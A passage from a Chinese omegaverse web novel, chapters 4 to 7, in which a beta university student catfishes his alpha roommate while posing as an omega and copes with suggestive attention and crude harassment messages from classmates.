【是照片本人吗?】
这次殷勤的omega倒是安安静静,像是没看到消息,路至微微蹙眉,又破天荒地发了一句。
【为什么不说话?】
对方依旧没有回消息。
路至垂着眼,掩饰掉情绪,他觉得自己一定是被假性易感影响才回复糖心的消息,竟然被一张图牵动心神。
他关上手机,坐到桌子前,打开台灯,写这次辩论赛的复盘。
————
【这狗真幸福,能被我老婆摸(柠檬精哭哭)】
【老婆摸狗,狗摸我,四舍五入等于老婆摸我!】
【对不起,刚才对老婆的手犯错了。】
【前面后面忘了,总之我想当狗狗。】
唐星野扫了眼评论区,眼底掠过一丝讥诮。心想他的技术真是不错,竟然没有一个人指出他的狗是假的。这些人连真假都分不清,又怎么能分清他是beta呢。
草草看了几眼,他就退出软件,修长的手指解开衬衫纽扣,快速把衬衫换下,刚把衣服塞好,门锁转动的声音让他一僵,余光就见周凛推门进来。
他做贼心虚般问了一句话,“路至怎么样?”
“没什么大事,就是酒的后劲有点大,他几天不回宿舍,”周凛对他微微扯了扯唇角,“他改天请你吃顿饭赔罪。”
“不必。”唐星野蹙眉,路至差点咬到他后颈的事,他连回忆都觉得膈应。装O恶心一顿就算他报复回去。
唐星野脑子里没有AB恋的观念,虽然闻泽是他名义上的alpha未婚夫,但那不过是当时的权宜之计。他beta又没omega信息素,不像他们香香软软的。在他看来,路至是易感期加喝醉的荒唐行为。
周凛见状点了点头,原本想提醒唐星野对此事保密的念头也咽了回去。
“我带了夜宵,你要不吃点。”周凛晃了晃手里的塑料袋,里面装得猫哥的披萨、酒精饮料。
嗅到硝烟味的信息素里参杂甜腻的榴莲味,唐星野蹙眉道,“这味道有点大,林墨会闻到。”
来的第一天林墨就讲清楚,他不喜欢宿舍出现味道冲的食物。
唐星野觉得有钱人真是事多,但对他倒没什么,他向来都是在食堂吃,打包还要额外加钱,食堂的饭菜油水不多,吃完也不会有什么味道。
“放心,估计他还在实验室里泡着,没到门禁时间是不会回来,吃完开窗通风散散味就好。”周凛拿着水果刀切开披萨,芝士拉出细长的丝,头也不抬道。
他又开了一瓶清酒,抿了一口。
唐星野没再说话,转身将窗户推开一条缝。
见唐星野仍站着没动,周凛直接伸手勾住他的肩膀,把披萨朝他面前一递,“点都点了,你不陪我的话,我吃不完丢了就太浪费。”
他的掌心很烫,隔着衣服,唐星野能感受到对方的体温。他忍着拨开的冲动,冷淡瞥周凛一眼,眼尾下压,透着说不出的禁欲。
周凛被他这一眼看得有点热,目光扫过他柔软白腻的脖颈,转向清冷的眉眼,心头浮现几分兴味。
他的语调更柔软,带着诱哄,“星野,这点面子你不会不给我吧。”
周凛是宿舍人缘最好的一个,也是对他最热络的,但总是自来熟对他动手动脚的,硝烟味的信息素猝不及防地钻进鼻息。唐星野不喜欢他这样的做派,碍于室友关系和他的背景,忍下来。
每每看到周凛对谁都是笑得温和有礼,他觉得假得要死。
宿舍里真论起有谁能交好,唐星野可以说没有一个人。就连另一个beta见过他,直接不来宿舍,在外面租着房子,还假惺惺地和他道歉。
外卖很贵,唐星野是没吃过榴莲披萨,道谢后接过,吃了两口,心想确实是高级货,比他吃过的苹果香甜得多。
周凛又递来一次性纸杯,里面装着酒精饮料。“难得就我们两人,要喝喝看?”
唐星野垂首,像是被劝动接过。
他不喜欢酒,但吃人嘴短,小口小口抿着酒精饮料,微微发苦的口感让他心中皱眉。
好在周凛倒得不多,像是让他试试味,他很快就喝完。
只是他一沾酒,他的脸发热。漂亮清冷的脸浮现红晕,两片唇瓣微微张开,领口被薄汗打湿,隐约可以窥见衬衫下雪白的皮肉。
若隐若现的晕粉,随着呼吸在起伏。
目光转到湿润的唇泛着冽滟的水光。周凛的指尖捻了捻,随后轻笑,“不能喝,还是别喝了。”
酒精饮料度数低,唐星野不至于喝醉。他的思绪有点迟钝,意识还算清明,微微点头。
周凛翻出习题,往他身边凑近了些,“你上次讲的题,还没讲完。”
唐星野因为信息素而紧绷的身体松懈下来,周凛向他请教功课这件事,总能让他心里浮起一丝隐秘的优越感。
这些含着金汤匙出生的Alpha,也不是什么都懂的。
他稍微容忍对方散发的信息素,给周凛讲题,对方听得认真,能跟上思路,让唐星野颇有成就感。
“下次别在宿舍吃味道重的东西。”一道冷冽的声音突然插了进来。
林墨不知何时出现在门口,带着无框眼睛,手里还提着笔记本,显然刚从实验室回来。他皱着眉头扫视宿舍一圈,最后定格在周凛身上,眉头皱得更紧。
没等回应,他已经大步走到窗边,“唰”地一声将窗户推到最大。夜风裹着凉意灌进来,瞬间冲散了室内的食物气味。
唐星野僵硬了一瞬,披萨突然变得难以下咽,卡在喉咙里不上不下。
林墨是宿舍里最嫌弃他、最看不起他的。
明明是周凛邀请他一起吃的,林墨表现出这样明显的排斥。
唐星野的心头闪过很多情绪,自然的咽下嘴里的食物。抬眸时,表情很淡,“知道了。”
“都是一个宿舍的,别这么严肃嘛。”周凛笑着打圆场,顺手把习题册往唐星野面前又推了推。
林墨皱着眉,把椅子挪动离他们远点,打开笔记本,继续写报告。
唐星野已经没耐心继续细致地讲,他飞快地写下更详细的解题步骤,又快速吃完手边的食物,就站起来,拿衣服洗澡去。
周凛瞧着他的背影,磨砂玻璃后影子影影绰绰,是每个绘画者钟爱的人体比例。
喝点酒都是情动的模样,湿淋淋的汗珠覆盖在腺体,白里透粉的皮肤浮现亮晶晶的光泽,简直就在勾引人直接去咬,标记进去。
这样的色.情应该出现流莺omega身上,而不是唐星野这样的beta。
盯着唐星野修长白皙的手,让人想问他握得住那粗壮可怖的腺体吗?不怕被弄脏吗?
beta的生殖腔本就窄小,成结要很深,很不好清理。
如此想着,他温和的笑收敛起来,目光落回干净整洁的字迹,漫不经心地合上书。
宿舍一下安静下来,只有浴室哗啦啦的水声。
周凛百无聊赖地划着手机屏幕,相同消息弹出来——“哥,能推下唐星野的微信吗?”。他嗤笑一声,直接锁了屏,把手机反扣在桌上。
水汽氤氲,从
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门缝渗出潮湿的热意。磨砂玻璃后晃动的剪影,水声像是某种隐秘的暗示。
热水冲刷下雪色的肌肤泛着粉色,水珠从小巧圆润的腺体滚落,沿着脊椎凹陷处下滑,在尾椎骨分岔,没入......
周凛喉结微滚动下,抿了一口酒。转过头,他看向始作俑者,指尖在桌面不轻不重地叩了两下。“看你把人吓得。”
林墨摘下眼镜,冷冷地回望道:“你想做什么?”
周凛摊手,露出无辜的笑,“我能做什么?跟室友打好关系而已。”
看着周凛的笑,林墨的眉头皱得更深,“如果你很闲,就去解决公司的事,而不是叫我回来看你玩这种无聊的把戏。”
“无聊——”周凛拉成音调,“林大学霸脑子里除了实验,还有别的有趣的事情吗?”
林墨唇线绷紧,正要开口——
浴室门突然打开,蒸腾的热气裹着皂角的清香涌出来。
beta的皮肤很白,脖颈处大片的肌肤裸露出来,被水汽蒸腾出淡淡的粉色,退化的叶状腺体残留微微发红的印子。
唐星野擦着头发站在门口,发梢的水珠滴落在粉嫩的腺体,蜿蜒出一道晶亮的水痕,滚落到锁骨上,最后没入衣襟。
空气瞬间凝固。
唐星野抬眸就注意到里面的话匣子突然停住,二人的目光齐齐地看向他,像是有什么话题不能被他听到。
“在聊什么?”唐星野察觉到他们的目光,看了看林墨,又看向周凛。
这两人不会是在偷偷说他的坏话吧。
林墨很快收回目光,像是不感兴趣般,继续写报告,钢笔划过纸面的声音格外清晰。
“刚才的题目。”
唐星野不信,他清楚地感受到刚才的目光,像蛇信子舔过后颈的触感。
在看他的腺体?
这个认知让他喉头发紧,但很快,他又觉得可笑。
一个Beta的腺体有什么好看的?
不过是那两个Alpha又在用居高临下的目光评判他罢了。
意识到室友看不起他,唐星野的心里的自尊心没有受多少打击。他也同样看不起这些alpha,他自傲自己的学习能力不输给他们。
这些Alpha总以为自己是世界的中心,殊不知在他眼里,他们引以为傲的信息素不过是动物本能的劣根性。
周凛从抽屉里取出一盒创口贴,递给他,眼里带着那种唐星野最讨厌的的笑意。他点了点脖颈,善意提醒,“有点破皮,贴一贴。”
唐星野想起被路至压在身下的画面,表情有点难看,微微蹙眉,“不用,我不是omega。”
他又没被咬破皮,犯不着贴。
鼻息间都是冷香,周凛回想着饭店那一幕,喉结微微滚动,眼眸闪过一丝古怪的玩味,唇角保持温和的笑意:“伤口不处理,感染了会很麻烦。”
唐星野看他盯着他指尖的包装盒,忽然明白了什么。周凛平日那些称兄道弟的熟稔,那些看似善意的举动,原来都是故意恶心他。
就像现在这样,假惺惺地递来创口贴,不过是为了看他这个Beta难堪狼狈的样子。
他福至心灵,改变了主意。
既然周凛装熟稔故意恶心他,他也可以恶心回去,看谁先忍不住。
纽扣在寂静中弹开的声响格外清脆。
唐星野慢条斯理地扯开衣领,将柔软白腻的脖颈完全暴露在周凛面前,小巧的腺体微微鼓起,附近雪白的皮肉残留细小的水珠,色.情得就像等着人来吮吸。
“好。”他微微偏头,纤长的睫毛轻颤,在眼下投出细碎的阴影。
那双漂亮的眼睛在灯光的折射下照得近乎浅灰,像是安静的湖水,永远只倒影着眼前人。
只是被凝视着,就会不自觉地想要屏住呼吸。
唐星野敛眸,轻声道:“我看不见,麻烦你了。”
5. 焦虑
周凛的瞳孔微微收缩,没由来地顿了一下。
腺体对于AO来说最为敏感的地方,即使是beta也不能随便给人看,唐星野竟然主动地要求其他人来触碰。
这是在勾引他吗?
他肆意地打量唐星野,柔顺的发丝到肩膀,配合冷淡漂亮的脸,总给人清冷干净的感觉。
周凛看人很准,他第一眼就能感受到唐星野冷淡寡言外表下,隐约藏着某种阴暗的心思。
看惯温顺又恭维、千篇一律的面孔,唐星野这样看起来清纯干净又带着某种欲.望的人,挑起来他的一点兴味,像是发现好玩有趣的玩具。
当他安静地垂首的时候,让周凛非常想要撞碎那清冷的外壳,露出最柔软最脆弱的内在,看看里面的风光。
见对方没动作,唐星野抬起乌黑的眼眸,声音模糊柔软地“嗯?”了声,似乎很疑惑,眼神很淡,既没有羞怯,也没有刻意引诱的意思,仿佛只是单纯在等一个帮忙。
周凛本来就是略带恶意戏弄的目的,故意提醒唐星野今天的事情,想看他为难的表情。
可对方毫无防备的态度,倒叫周凛生出些古怪。瞧着脖颈浅浅淡粉的痕迹,他微微挪开目光,而后又刻意挪回来。
唐星野似乎真的没有ABO常识,对易感期和腺体这些方面这么迟钝,也不知道他死掉alpha老公怎么教导他的。
总不会像论坛里说的:【唐星野不是勾引人,其实是被老男人哄骗订婚的。】
【山沟沟里漂亮beta哪里懂什么是真爱,alpha稍微温柔点,就以为对方是二十四孝好老公。】
【可怜的小beta年纪轻轻就哄骗订婚,我都不敢想alpha会怎么欺负他。骗他穿上清凉的衣服,被欺负肚子装不下,湿了肿了喷了,委屈地掉眼泪,都不会得到怜惜。】
【好在上天有眼,这样的alpha死掉早,没耽误人家的未来。】
周凛撕开包装,将创可贴贴在可怜红肿的皮肤上。指尖碰到唐星野的后颈时,能清晰地感受到对方肌肤的温度。温热的,细腻的,和这个人疏离的气质截然不同。
“好了。”他收回手,声音比平时低了些。
唐星野轻轻“嗯”了一声,抬手整理衣领时,指尖不小心擦过周凛的掌心。那一瞬间的触碰很轻,却让周凛的神经骤然绷紧,而后撞见唐星野那双带着笑意的眼睛。
唐星野微微勾起唇瓣,露出极浅的笑,这笑柔和掉他眉眼的冷意,那股青涩的人妻感就更明显。
“谢谢。”
谢谢?
这话清晰地落在林墨的耳朵里。
谢谢周凛找得烂理由,让他碰自己的腺体?
林墨是想不到唐星野怎么会腺体受伤,难得抬眸,转过去看他们。他抬头时,正看见周凛捻着指尖,眼神晦暗不明。
———
唐星野洗漱好,钻回自己的床,床帘严严实实地拉好,确保不会透出一丝光亮后,他才打开手电筒,从枕头底下摸出那个巴掌大的黑色笔记本,记下今天的仇。
他写得很快,黑色的笔迹逐渐扭曲变形,在纸页上化作三张可憎的面孔。周凛虚伪的假笑,林墨冷漠的态度,还有……最后他写下自己对他们的恶毒诅咒。
“他们一辈子都找不到omega结婚!”
写完这段话,唐星野盯着这一行字,他的脑子浮现奶奶和闻泽的脸。被他们看着,唐星野抿了抿唇,划掉这一行,笔尖悬在空中犹豫了片刻,最终落下新的诅咒:
“他们的绩点不能超过我,永远被我压一头。”
这个惩罚不错,唐星野微微勾起嘴角。他合上小本本时,发出轻微的啪嗒声,像是给这场隐秘的审判盖上了印章。
他摸出另一个本子,戴上耳机,播放手机音频,整理今天辩论赛的笔记。
整理差不多,复盘这场精彩的辩论,唐星野脑子有点亢奋。他索性打开软件,去看看消息。
特别关注的消息弹出来。
是来自路至的。
【是照片本人吗?】
【为什么不说话?】
唐星野愣了一瞬,这是上钩了?
他就知道没有哪个有钱人alpha会拒绝主动的omega,都是装的!
他看到消息立刻回复,打字的速度都快了许多。
糖心:【没有不回你,哥哥。室友过生日,我们出去吃夜宵,没看手机。】
路至:【嗯。】
对方回复的很快。
唐星野盯着那一个“嗯”字,心里又骂了路至伪君子,继续回复:【哥哥,我想让你看看我的小狗,哥哥喜欢它吗?】
路至:【嗯。】
糖心:【那我明天还可以找哥哥聊吗?】
路至:【嗯。】
唐星野瞧着连续三个嗯,透出淡淡的敷衍。
多说一个字会怎么样?
他还是继续发,有一搭没一搭跟路至聊,对方话少,但总会回复。
糖心:【好哦,我困了先呼呼,哥哥明天见。】
糖心:【小猫困倦.jpg】
路至:【嗯,明天见。】
路至在书桌前发呆,他垂眸看着手机屏幕上的照片。
脖颈上的腺体还在发热,齿根有点痒,带着易感期的空虚,想要啃咬标记。
从字里行间,可以看得出是个年纪不大的omega,估计被保护得很好,好到路至都觉得他有点缺乏性别教育常识。出于道德,他应该拒绝这位omega,可私心让他没有说出口。
腺体涨热得发痛,他总觉得自己像是在诱骗大小姐的混混,背着家里人私聊。
他把手机丢在一边,灌了一杯冰水,试图把那张照片从脑子里驱散。
第二次了。
他的欲.望在短短一天之内两次被挑起。
那股燥热还在,他换鞋去夜跑,试图发泄自己的精力,然而两个小时的运动,肌肉活性在快速跳动起来,那股澎湃的欲望反而格外清晰。
他的脑子可以回想起那张照片的每一个细节。
那衣摆向上卷起,露出一小截白皙的腰,线条好看,明显的腰窝。
纤细的腕骨,修长白净的手指,无名指节内侧还有一颗不起眼的红痣,红得越发鲜艳,好似血凝结而成,等着人舔舐干净。
路至吐出一口浊气,他的抑制剂换了一剂又一剂,抗药性也愈发越明显。
怪自己有信息素絮乱症,造就一副怪物般的身体。长期压抑的欲望在今天被挑动,有了爆发崩裂的前兆。
【为什么没忍着?为什么你不是正常的alpha?】
为什么要忍
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着?我为什么不能是不正常的?
路至盯着抑制环,这个禁锢他十多年,让他如同畜生般活着的项圈。
不要陷入来自任何人的提问陷阱,将问题抛回去。
路至突然感到一阵轻松,他只要做好表面的功夫。
他摘下抑制环,带着手机,走进浴室,握住他的秘密。
最后差一点,他脑海里蓦然浮现唐星野俯下身凑过来画面。那柔软的香气似乎包裹着他的神经,好似无心,又像是恶意一下一下的挑动。
他猛然睁开眼。
满是水汽的浴室里除了浓烈的可可味,再无其他。
————
唐星野一看时间两点,准备睡了,突然听到细微的翻书声。
顿时他的精神一震,意识清明不少。
他打开手机,确认时间2:20,这个点还在学习?!
唐星野慢慢坐起身,悄悄把床帘拉开,就看到斜对床的林墨开着台灯,轻声翻动书页。他视力好,甚至能看到书页上的字。
他拧着的眉心,瞬间松开,这本书他早就借了看过。
林墨端起手边的罐装咖啡,手臂上的肌肉线条微微起伏,仰头喝水时喉结滚动,起伏很明显。
喉结?
唐星野蓦然又想起刚洗完澡出来时alpha的目光。
他们是在看他的喉结?
唐星野忍不住摸了摸自己的喉结。
微微抬起下巴,唐星野的指腹在脖颈处摩挲,摸到突起,比起alpha好像要小很多。
他不死心,打开手机相机前置,不停按压捏着,试图确认自己的也不小。直到脖子被搓红,唐星野叹了一口气,他躺在床上。
喉结越大,能力越小。
自我调节好,唐星野不再纠结。
床帘外传来椅子很轻挪动的声响。唐星野立刻屏住呼吸,直到听见林墨的台灯"咔哒"熄灭。黑暗中,他摸到枕下的笔记本,就着记忆盲写道:
【熬夜内卷头发掉,alpha再强没人要。】
————
唐星野没想到早起,会和林墨在洗漱间撞上。他瞧着对方眼下淡淡的乌青,但并不颓靡,这人是机器人吗?每天睡四个小时不到?
“早。”
他侧身让道,随口打了一声招呼,也不指望对方回应,毕竟他们向来只有冷淡的点头之交。
出乎意料的是,林墨没动,嗯了声。目光在唐星野湿漉漉的发梢上停留了一秒,语气平淡,“这么早?”
唐星野有点诧异,发丝还在滴着水珠,他随手抹去,简短回答,“有小组课题。”
林墨扫了眼唐星野刚洗的脸,发丝凌乱地贴在脸侧,白玉般的颈项上泛红的指印破坏这份美感,像是被人刻意揉搓。腺体还贴着微微卷起的创可贴,引人遐想。
“自己玩的?”林墨移开视线,冷淡的声音里带着一丝起伏的情绪。
唐星野一头雾水,“什么?”
林墨没再回答,转动门轴,便提着电脑包转身离去,脚步声在空旷的走廊里规律而克制,只留下唐星野站在原地。
唐星野盯着镜子中的自己泛红的脖颈,突然一个念头像毒蛇般窜上心头。
——林墨又在偷偷钻研他不知道的课题。
唐星野垂下眼帘,感到些许焦虑。
6. 课题
“真倒霉,怎么会和唐星野一个小组,本来就想随便混个学分才报了这个项目。”
“唉,一个灾星beta,我真不想和他一个组。”
“我朋友说上次他见唐星野一眼,结果就摔了一跤。”
唐星野把手搭在门上就听到这样的对话,他抿着唇,目光冰冷,而后推开门。
他踏入教室时,周围都安静了一瞬。
青年眉眼清冷,肤色白得近乎透明,黑发微垂,眼神疏离淡漠。衬衫勾勒出他清瘦的身形,领口别着银色校徽。
唐星野对他们的打量视若无睹,径直走向角落的座位。
“同学,你是不是走错,这是AB开组会的……”
唐星野没有掀起眼皮,语气冷淡,“唐星野。”
空气凝滞了一瞬。
唐星野?是平平无奇,霉运缠身的唐星野?
那个年纪轻轻就爬上alpha的床,结果丈夫死于非命的beta?
青年跟传闻不一样,干净得像是冬日的雪,清冷又疏离。
眉宇间那一股淡淡的忧郁,让人想捧在手心化成水。
现在离开组会的时间还早,唐星野抽出教科书,修长的手指翻动书页。大学的课程比他想象中的要吃力些,其他人都基础知识都比他深.入。这里聪明人很多,稍微松懈,就可能被人追赶上。
他和第二名的分咬得很死,几乎拉不开差距。
唐星野自动无视外界的声音,进入心流状态,他看书的速度很快,将书上的内容自动拓印在脑子里,串联相关的知识,逐渐构建体系。
他过分专注地看书,不受其他人目光的干扰。唐星野不用猜就知道他们在想什么,害怕灾星的传言,担心他看他们一眼,他们就会被麻烦找上门。
小组群聊:
【唐星野是omega吧,长这么漂亮。】
【天呐,那个,他能扇我吗,当然我不是变态啊。】
【他是寡夫,还克夫,别看了。】
【克夫是吧?可没说克情人。】
【你们真是糊涂!寡夫不能睡啊,睡了,必有大难。不过话说过来,他如果有需要的话……我也绝不推迟!】
【他已经是个寡夫,我不能让他再守活寡。】
这个课题本来就是学校里转手几次的烂项目,被拉进来都是倒霉蛋,想轻松混学分的学生自然对被分到唐星野同一组更不满。
经过这一插曲,他们忘了唐星野和他有牵扯就会倒霉的传说。
直到组长拍了拍讲台,唐星野才恋恋不舍地合上书。
他注意到自己附近上不知何时多了一叠小纸条,粗略地扫了下。
【你和你老公最近还好吗?他是不是虐待你?】
【你老公是不是又没来陪你,这都几天了……】
【年纪轻轻就守寡,我心疼你。】
唐星野:“……”
呵,提醒他克亲的事吗?
类似刻薄的话,他已经听过很多很多次,多到唐星野生不出一点情绪,懒得辩驳。他懒得理,那些人在他眼里不重要,脸模糊成性别符号。如此,他们反倒流出怨毒和不满的眼神来看他。
他一把将这些纸揉成团,塞到抽屉里,准备组会结束的时候,丢进垃圾桶。
无聊透顶的组会。
唐星野面无表情地看着beta组长在投影仪前手忙脚乱地切换PPT。这人连最基本的课题方向都理不清,所谓的头脑风暴就是让他们在这里干坐两个小时,假装检索资料,进行无意义的讨论。
他不动声色地扫视一圈,组员们要么在悄悄玩手机,要么偷瞄他,还有边玩手机边偷瞄他的。只有坐在角落的那个alpha还算认真,正低头做着记录。
顺着他们讨论的方案,这个课题迟早要完蛋。
唐星野垂下眼眸,整理下思路开口,他尽可能用话术包装用词,委婉地传达一些自己的意见。
说完,唐星野问他们的意见,一个个倒紧张得面红耳赤,说不出话,他有点烦躁,转头看向一旁记录的alpha,“你觉得呢?”
alpha好像很渴,时不时喝水,听到提问,动作一顿,拧紧水杯,总结他的意见。大体上他们的意见是一致的,还算机灵,唐星野刻薄地想,alpha也不完全是蠢货。
会议结束,唐星野留下来继续看书。差不多看了两个小时后,唐星野感觉有点饿,他准备拎着包走人。
抬眸就愣住,他附近摆了很多份饭,饭盒整齐地排列在桌角,还冒着热气,上面夹着字条。
【宝宝,你快吃饭吧。】
【你老公怎么不给你送饭?他是不是没把你放在心上?如果是我,肯定按时给你送饭。】
【老婆,我除了长得还行身高190家里有钱独生子,没有别的优点。除了学习就是喜欢做饭陪老婆,没有别的朋友,除了你没有人跟我说话。】
【宝宝,你可不能光吃别人的,不吃我的,要吃就要全部吃下。】
唐星野没有打开饭盒,而是扫视会议室一圈,那帮蠢货还在偷偷瞄他,目光充满隐秘的期待。
目光落回饭盒,那些精心手写的字条此刻在他眼里都成了可疑的糖衣炮弹——就像电视上有人笑眯眯地用精致的食物投喂流浪猫狗,等到这些猫狗的戒心降低,他们就会把针和石子藏在饭里,看着那些猫狗痛苦挣扎。
他冷笑一声,拎起背包准备收拾东西离开,还没起身,摇摇欲坠的创可贴啪叽一声掉下来。
唐星野还没弯腰拾取,已经有人先一步捡起来递给他。
“星野,你的抑制贴掉了,你接下来是打算快点回去休息吗?”
唐星野略带疑惑地抬头。
全程没有和他有过多交流的alpha竟然还在,对方的目光落在唐星野的后颈上。
又一个将他错认成omega的alpha。
唐星野原本那点欣赏瞬间转为烦躁,冷淡地扯了扯嘴角,道:“谢谢,我没事。”
“不是,我的意思是……”
alpha的表情似乎有点慌张。
“你的腺体受伤了吗?”
很直白。
唐星野第一次看向他的脸,而他一直在看着唐星野。
看清的那一刻,唐星野瞳孔微微收缩,那是很阳光帅气的脸,眉眼弯弯,很有少年气,让人见了就欢喜,而他感觉到从中某种锐利的威胁,鼻息终于闻到一股清新的味道。
是柠檬。
唐星野的视线微微移开,避免自己回想起某些可怕的事实,他该察觉到的,再怎么无用的小组课题,他的情绪不至于烦躁成这样。
“没有,你帮我丢掉吧,”唐星野记得他姓裴,名字想不起来,微微一笑,“裴同学。”
对方却小心翼翼地将创可贴收好,像是察觉他的微妙停顿,连忙补充道:“我叫裴怜,怜爱的怜,你直接喊我的名字。”
“好,裴怜。”唐星野点点头,没有纠结称呼这种小事。
“小组成员互加,我还没加上你,如果课题遇到问题,还麻烦指教。我第一次参加,很多事情不算很了解。”
唐星野碍于刚才的客套,伸手不打笑脸人,难得解释:“忙着功课,忘记看手机消息。”
裴怜弯起唇角,露出小虎牙,“那正好,现在可以加上。”
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他拿出手机个人二维码让唐星野扫。
唐星野:“……”
这人是听不出他拒绝的潜台词吗?
他拿出手机,有点不情愿地加上好友。
“灾星”体质传说导致他和班里的人都不熟,唐星野没有那么多精力放在无用的人身上。每天都有短信轰炸来恶心他的,什么想做他的狗,想当他的A,还有言语粗鄙不堪的。
【宝宝,我一想你就好热……宝宝,你给我加了什么,我想着你打了多次。】
【老婆,你腺体好粉,下次别露出勾引我,我还是个处.男,会忍不住的。】
【都怪你,你早上看我的眼神……我看着就硬了……】
【宝宝,怎么有黑眼圈,是不是昨天晚上被折腾坏了?】
唐星野面不改色地看完后直接拉黑,之前他还会打回去骂对方两句,结果他们情绪更高亢:
【宝宝,别骂了,我更硬了。】
【老婆你再骂一遍好不好,对不起我太笨,刚才太快了,没录上。】
【哈……宝宝,开视频好不好,让我看看你的脸……哈……】
被恶心到的唐星野颇有一种打人一巴掌,还被舔手心的无力感,便不再理会这类消息。
裴怜笑得灿烂,“有缘在一个课题组,我请你吃顿饭,刚好我也没吃。”
唐星野的目光从裴怜身上轻轻掠过,奶油白的亚麻衬衫,浅卡其色的休闲裤,衣料泛着柔润的光泽。
裴怜笑起来,眼睛弯起来,像是被晒暖的月牙。露出一颗小小的虎牙,笑容干净得毫无防备,带着点少年人特有的意气。
一双眼睛眸光清亮,像是盛满了细碎的星光,看着唐星野总带着的笑意。
跟那帮有钱人室友呆久了,唐星野多少也能从衣着看出点门道,裴怜跟他不是一个阶级的人。
那双亮晶晶的眼睛眨巴眨巴地看着他,唐星野说不出什么狠话。
唐星野把裴怜的热情归结于不谙世事的小少爷想广交朋友,而不是轻佻的态度。等这位小少爷听闻自己的事迹大抵就没兴趣,但那不是他关心的事。
“我还有事,下次再说吧。”
裴怜的眼睛暗了一瞬,而后想到什么,又亮起来,“那我欠你一顿饭,下次有空,再补上吧。”
唐星野:?
怎么变成对方欠他?
这些年想交朋友的,搭讪的,看他出丑的诈骗他,都喜欢拿请客吃饭做借口。无论真假,唐星野缺的根本不是那一两顿所谓见世面的饭。
裴怜的语气充满真诚,对照其他人背地蛐蛐的态度算得上温柔。
唐星野不知道自己哪里吸引裴怜,或许觉得他也是课题组里不划水,能干活的倒霉蛋?
唐星野抬眸,微微正色,“校园论坛上匿名板块,有很多热门帖子有在楼里推荐打卡餐厅,那你先回去浏览,挑下地点吧。”
他第一次登陆论坛时候,认真研读资料般浏览每个热门的帖子,里面展示的内容叫他大开眼界,狗血八卦、深情告白、研讨冷知识,各种内容五花八门,他像是窥见万花筒。
在炫目的色彩中,因为他的经历,他也是其中显目的一块黑色,为人唾弃的beta。
“好啊,我会去看的。”
裴怜满心欢喜地应了。
唐星野瞧着他的表情,内心冷漠,眼眸深邃而平静。
“你吃他的,不吃我的?”
唐星野循声望去,路至站在门口,神色不明地盯着他。
阳光从他身后漫进来,将他的轮廓镀上一层锋利的金边,光影将表情模糊不清。
唐星野一顿,感觉自己的腺体隐隐发痛。
7. 打起来
会议室内的人在三人身上来回穿梭,默默给唐星野点蜡,怎么惹到这位。
裴怜脸上的笑很阳光开朗,没有任何的攻击性,很熟捻地喊道:“路哥。”
他们都是一个圈子的人,自然都是互相认识的。
路至盯着裴怜的笑脸几秒,才从角落里想起对方的身份,微微颔首,保持礼貌疏离的态度。目光移开,落在唐星野,“在忙,我打扰到你们?”
唐星野:“……”
前一晚还在网骗,第二天正主直接找上门,这是……
裴怜没有察觉他的目光,笑着点头,“没有没有,我们还在讨论去哪吃饭。路哥你先等一会。”
“谁问你了?”路至微微蹙眉,眼神冷了下来,没想到这人这么没眼色。
裴怜依旧笑着,好脾气地应着,语气甚至更加体贴:“好的,我只是看星野有点为难,替他解围下。”
阴阳怪气。
路至冷哼一声,语气带着微妙的意味, “我是他室友。”
这语气活像是正宫抓包老婆出轨现场,而小三还在不知死活地挑衅。
现场的人大气都不敢喘,看着这场口舌之争,偷偷直播讨论。
【路少今天吃火药了?说话这么冲,什么情况?】
【这是吃醋吧?听起来像是老婆不吃他的饭,裴怜还要得瑟,激怒他。】
【裴怜爽死他吧,能和唐星野吃饭。是不是唐星野吃剩的,他还要吃两口。】
在诡异的对话,唐星野嗅到一丝浅淡的火药味,但他不知从何而来,这两人私下有仇吗?
他看看路至,又看看裴怜,最后得出结论。原来有钱人之间也和他们普通人一样,不缺龃龉。
唐星野瞥见监控摄像头,突然冒出一个大胆想法,他们会不会打起来?!
要是路至先动手就好了。
这样,路至的学分说不定就能扣光。
唐星野的眼眸浮现一丝热切,盯着路至,快打起来!
路至冷冷地注视裴怜,对方笑不改色,他觉得无趣,转眸放回唐星野身上,注意到对方清冷的眼眸藏着隐秘的期待,就像等他做些什么。
周围的人说唐星野清高孤僻,看不起人,还真不见得。
安安静静的,被alpha缠上要联系方式,不想给,连拒绝都不会。唐星野只会眼巴巴地望着对方,希望alpha能好好讲道理,不要再缠着他。这种可怜柔弱的姿态,反而更让人想要欺负他。
路至的喉结不自觉地滚动了一下。他几乎能想象出那个画面:唐星野被不讲理的alpha逼到墙角,眼尾泛红,咬着嘴唇强忍泪水的模样。这个念头让他的信息素隐隐地躁动起来。
“星野。”
“唐星野。”
目光唰唰地看过来,还在幻想路至学分被扣完的唐星野一激灵。
两双眼睛看过来,等他的回复。
随即唐星野心里很失望,没能看到这两人打起来。
他转眸,先对裴怜,“我觉得你讲的总结很好,至于吃饭的事,你先回去看帖子吧。”
裴怜笑容加深,眼角弯成好看的弧度:"好,那我先走了。"临走前,他意味深长地看了路至一眼,带着某种秘而不宣的得意。
不知道为什么,路至的指节好像响了一下。
“你找我有事?”
唐星野乌黑的眸子凝视着路至。
路至瞥了一眼裴怜的背影,面无表情道:“嗯,这里不方便说。”
唐星野一愣,他垂下眼眸,纤长的睫毛颤抖,像是风中摇曳无依的落叶。眼尾浮现薄薄的粉意,像是被人用指尖轻轻蹭过,让人忍不住想再用力些,将那抹浅粉揉成艳丽的红。
不过唐星野不是在羞涩,而是压抑怒气。
烦死了,路至把他当O咬的事情,有什么好说的,非要在这么多人面前提,是嫌他不够丢人吗?
“那就之后再说,我有急事。”后颈隐约又泛起被犬齿刺入的幻痛,唐星野微微点头,继而收拾自己的东西。
【我靠,什么事情,是我们不能听的。】
【早上老婆的脖子就是红成一片,看老婆的表情,这绝对是被临时标记了,还是被狠狠愺的。 】
【天菩萨耶,路至,你可真是畜生啊,这样欺负寡夫。】
【beta要标记,可是要很深很重的,老婆的生殖腔里不会还有臭alpha的……呜呜老婆好可怜……想想要是我的话,斯哈斯哈,老婆连门都出不了。哎路至不行。】
“你去哪?我送你。”路至又恢复平常清雅的模样,温和地问。
“不用,走两步路就到了。”唐星野微微俯身翻找遗落的笔时,衬衫领口随着动作滑开一道缝隙,露出一截若隐若现的锁骨——那里还留着几道浅红的指痕,在冷白肌肤上格外扎眼,仿佛被凄惨地凌.虐过。
路至脑子一热,伸手将唐星野的领口一拉,掩饰暗中窥伺的目光。
